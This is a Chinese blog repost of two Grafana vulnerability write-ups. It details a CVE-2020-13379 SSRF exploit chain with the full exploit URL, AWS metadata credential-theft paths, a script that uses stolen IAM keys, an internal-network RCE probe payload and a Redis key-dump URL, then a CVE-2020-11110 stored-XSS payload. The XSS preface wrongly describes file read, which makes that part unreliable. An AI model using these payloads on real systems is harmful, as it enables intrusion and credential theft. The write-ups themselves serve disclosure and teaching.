挖洞经验 | Grafana应用实例未授权读取型SSRF(CVE-2020-13379)

挖洞经验 | Grafana应用实例未授权读取型SSRF(CVE-2020-13379)

本文转自clouds 并作补充

近期,我在做Grafana公司的安全众测,通过研究我发现综合利用重定向跳转和URL参数注入漏洞,可以在Grafana产品任意实例中实现未授权的服务端请求伪造攻击(SSRF),漏洞影响版本为3.0.1至7.0.1的大范围Grafana产品,相关情况上报后被分配了CVE-2020-13379的漏洞编号。(漏洞PDF技术细节点此下载

漏洞发现过程

在Grafana名为api.go的开源文件中,位于其第423行有这么一行代码:

r.Get("/avatar/:hash", avatarCacheServer.Handler)

为了加载用户上传保存于gravatar上的头像图片,该行代码读取**/avatar/:hash中的哈希值(如https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....**),并把它传递给域名为**secure.grafana.com**的相关路径。这里,大致的代码逻辑如下:

1
2
3
4
5
const (
gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):

上述代码逻辑中的this.hash也就是前述**/avatar/:hash经URL编码传递过来的hash,实际上这个被URL编码过的:hash串中,允许我们插入其它参数从而形成URL参数注入。在secure.gravatar.com域名路径下,如果向其中插入参数d,即https://secure.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50?d=....**,之后,就会发生跳转到另一个图片存储服务**i0.wp.com**的情况,这是后续跳转利用链中的第一个跳转问题。

所以,我们还需要从i0.wp.com继续构造跳转,好在最后,由于主机验证机制中一个不当的正则表达式应用,我们成功形成了跳转。过程是这样的:

i0.wp.com中的URL链接构造为**i0.wp.com/{domainOfImage}/{pathOfImage}*,该URL链接的目的在于,i0.wp.com依托.bp.blogspot.com域名存储了自身的一部份图片,因此,i0.wp.com还会继续形成对.bp.blogspot.com的跳转。后经我花费了几个小时的测试,发现利用以下链接可在该跳转中形成一个开放重定向跳转:

http://i0.wp.com/google.com?;/1.bp.blogspot.com/

最终,综合两个跳转,可以在Grafana后台形成以下跳转链接:

https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com

在以上链接中,Grafana后台会获取test?d=google.com%3f;/bp.blogspot.com作为**:hash**值。

回到前述的d参数场景中,在以下链接中加入d参数:

https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/

该请求会发生一个到i0.wp.com的跳转,成为:

http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/

然后,i0.wp.com会继续发生指向google.com的跳转,成为:

https://google.com?;/1.bp.blogspot.com

用户头像avatar的源码文件中可以看到,其中具备内容类型属性信息Content-Type: image/jpeg,以及请求后的相关响应机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
if avatar.Expired() {
// The cache item is either expired or newly created, update it from the server
if err := avatar.Update(); err != nil {
log.Trace("avatar update error: %v", err)
avatar = this.notFound
}
}

if avatar.notFound {
avatar = this.notFound
} else if !exists {
if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
log.Trace("Error adding avatar to cache: %s", err)
}
}

ctx.Resp.Header().Add("Content-Type", "image/jpeg")

if !setting.EnableGzip {
ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}

ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")

if err := avatar.Encode(ctx.Resp); err != nil {
log.Warn("avatar encode error: %v", err)
ctx.WriteHeader(500)
}

因此,综上所述的各种技术利用点,可以构造出以下成功的SSRF运行链接,让Grafana后台服务器发起对YOURHOSTHERE的请求。

https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE

该漏洞影响的不仅只是Grafana的产品实例,而且其在Gitlab(/-/grafana)和SourceTree(/-/debug/grafana/)上的源码实例也受影响。

漏洞利用

正如我在HackerOne的HacktivityCon会上所说的, 该漏洞有多个有意思的利用点。接下来,我就来分享一下具体的漏洞利用方式。

漏洞利用1-对Grafana项目云实例元数据API的操控访问(Manipulate AWS/Cloud Metadata APIs)

现代SSRF漏洞的一种流行利用就是用它去执行对目标系统云上元数据API接口的访问,以从中获得相关敏感信息。元数据API接口大多都是AWS的云形式,我们可以设法从中获取到Grafana项目EC2实例中的用户身份验证授权凭证(IAM),然后以此横向渗透到组织机构内网。迄今为止,攻击者已经利用此种SSRF利用方法渗透入侵,导致了一些大规模的数据泄露事件。

作为攻击者来说,主要关心的就是尝试从公开的AWS元数据服务器(169.254.169.254)中,用以下访问链接获取用户IAM凭证:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE(实例项目名称)

成功获取的用户IAM凭证内容如下:

1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2019-08-15T18:13:44Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d",
"SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE",
"Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3rbYeOBYC8z8nUWYJKuxv3Nj0cQxXDnYT6LPPXmtHgZaBSUwxMHW6gU6tAHi8OEjskLZG81wLq1DiLbdPJilNrv5RPn3bBF+QkkB+URAQ8NBZA/z8mNnDfvESS44fMGFsfTIvIdANcihZQLo6VYvECV8Vw/QaLP/GbljKPwztRC5HSPe6WrC06LZS9yeTpVGZ6jFIn1O/01hJOgEwsK7+DDwcXtE5qtOynmOJiY/iUjcz79LWh184My58ueCNxJuzIM9Tbn0sH3l1eBxECTihDNbL13v5g+8ENaih+f3rNU=",
"Expiration" : "2019-08-16T00:33:31Z"
}

有了这个IAM凭证,我们就能通过用户身份验证这一关,以内部用户身份执行对EC2实例和S3存储桶的任意访问。如果要用IAM来执行深入的用户验证测试危害证明,我推荐使用NCCGroup安全团队的Scout2工具,不过由于它会产生大量的请求响应,而且会引发一系列的密钥轮换数据,有点太过于Noisy了。这里我还是用以下标准输入的脚本方式来利用上述IAM凭证吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

out=$(cat -)
export AWS_ACCESS_KEY_ID=$(echo $out | jq .AccessKeyId | sed 's/"//g' )
export AWS_SECRET_ACCESS_KEY=$(echo $out | jq .SecretAccessKey | sed 's/"//g')
export AWS_DEFAULT_REGION=us-east-1
export AWS_SESSION_TOKEN=$(echo $out | jq .Token | sed 's/"//g')
echo "Profile loaded!"
aws sts get-caller-identity
aws ec2 describe-instances > ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

通过AWS公开的元数据服务器访问链接http://169.254.169.254/latest/user-data,我们可以从中获取到目标实例相关的很多敏感信息,虽然[AWS文档](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html)一再声称不要在该实例位置存储凭证信息,但以经验来看,之前我还是从中发现获取了大量K8S Secrets、IAM Credentials、SSL Certificates、GitHub Credentials等密钥数据。
另外,我们还能从另外一个AWS路径中获取有用信息:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

漏洞利用2-图片渲染过程导致的Blind SSRF

Grafana实例内部会发生大量的图片渲染过程,因此攻击者可以向其中以Headless Chrome实例方式(非Chrome环境中运行Chrome),构造包含超时变量的HTML页面,以此为据点,实施长期的内网RCE攻击尝试。

同样,我们利用CVE-2020-13379的SSRF漏洞,还能执行内网端口扫描探测,比如,在Grafana的通用实例中会有一个3001端口,用该SSRF方法可以成功探测到:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive

Grafana Image Renderer

基于此,攻击者可以精心构造,让Grafana实例系统通过以下链接执行危险操作:

localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

这里,我编写了以下HTML文件进行一个自动化快速的漏洞利用,用它可以进行RCE提权攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
async function postData(url = '', data = {}) {
const response = await fetch(url, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
return response.json();
}
for (var i = 0; i < 255; i++){
postData('http://10.0.0.'+i+'/oneshotrce', { cmd: 'dig dnscallback.com' })
}
</script>

漏洞利用3-操控Gitlab的 Prometheus Redis导出器

Prometheus 是一个开源的服务监控系统和时间序列数据库。之前我们已经提到过,该漏洞还会对版本<13.1.1的Grafana Gitlab实例产生影响。根据Gitlab说明文档介绍,Grafana Gitlab实例 9.0版本开始,其Prometheus和导出器(Exporter)都是默认开启的,恰巧这些导出器可以成为攻击者利用CVE-2020-13379的突破口,其中一个导出器即是Redis Exporter,其路径为**http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=\***,攻击者利用target参数构造,通过该路径可以下载redis服务器中的所有密钥信息。

漏洞利用4- Image-Only SSRF -> Full-Read SSRF

在Grafana**开源文件avatar.go的第104行**中,其对该SSRF响应内容类型(Content Type)为image/jpeg,这就给了我们基于该SSRF漏洞,综合利用其它漏洞的独特机会。假设我们有以下场景:example.com/fetchImage.php?image=http://localhost/image.png

其fetchImage.php中的代码向请求目标发送了一个HTTP请求,然后会检查其内容类型(Content Type)是否为image/jpeg,如果是就返回请求内容。因此,如果某个内部Grafana实例存在我们这里的CVE-2020-13379漏洞,那么攻击者可以构造以下链接形成一个内容读取型的SSRF漏洞攻击:example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

由于返回内容需要是image/jpeg,因此它会执行一个content-type验证。另外,因为这是一个图像方式SSRF触发的读取型SSRF,而且攻击者可以控制其中的链接跳转,所以,攻击者还可把它用于文件扩展名检查欺骗。

总结

该漏洞发现其实并不复杂,有意思的是Grafana内部HTTP请求发生时,读取 :hash时的参数注入问题,但无论如何,其漏洞影响非常严重,且其漏洞利用非常稳定有效。以下是我的几点心得:

1、在源码检查时,首先去考虑未授权路径,其次是授权绕过;

2、如果在开源应用中发现了某些有意思的功能,那相对于“黑盒测试”来说,可以针对该功能花心思测试测试,至少你能以开源方式获取更多数据,并能把你的“漏洞嗅觉”派上用场;

3、针对0-day漏洞的挖掘可能会激发你的动力;

4、有些公司不会为他们的0-day漏洞买单,

5、自己发现漏洞后,可以和值得依赖的朋友分享,让他们也帮助看看是否能进行更深入的漏洞利用;

6、这是我的一个漏洞报告模板工具,欢迎参考-https://github.com/rhynorater/reports

参考来源

rhynorater

Grafana 存储型XSS漏洞(CVE-2020-11110)

Grafana 存储型XSS漏洞(CVE-2020-11110)

本文转自starnight_cyber 并作补充

Preface

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

1
2
3
4
5
6
CVE编号:
CVE-2020-11110
影响范围:
Grafana v6.2.5
Links
https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

复现记录

测试环境部署

1
2
payload => 
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

image

Stored-XSS

替换 url 中的 localhost,访问快照地址,点击链接🔗图标。 Stored-XSS。

image

snapshot 快照删除

访问 deleteUrl:

http://103.210.xx.xx:3000/api/snapshots-delete/o3ITlrkiwgJexFmCJxr4gsNZ8QDcc0eQ

image

可以删除 snapshot,这里算是个严重程度更高的漏洞。

修复方案

版本升级。

Refer

https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

以上!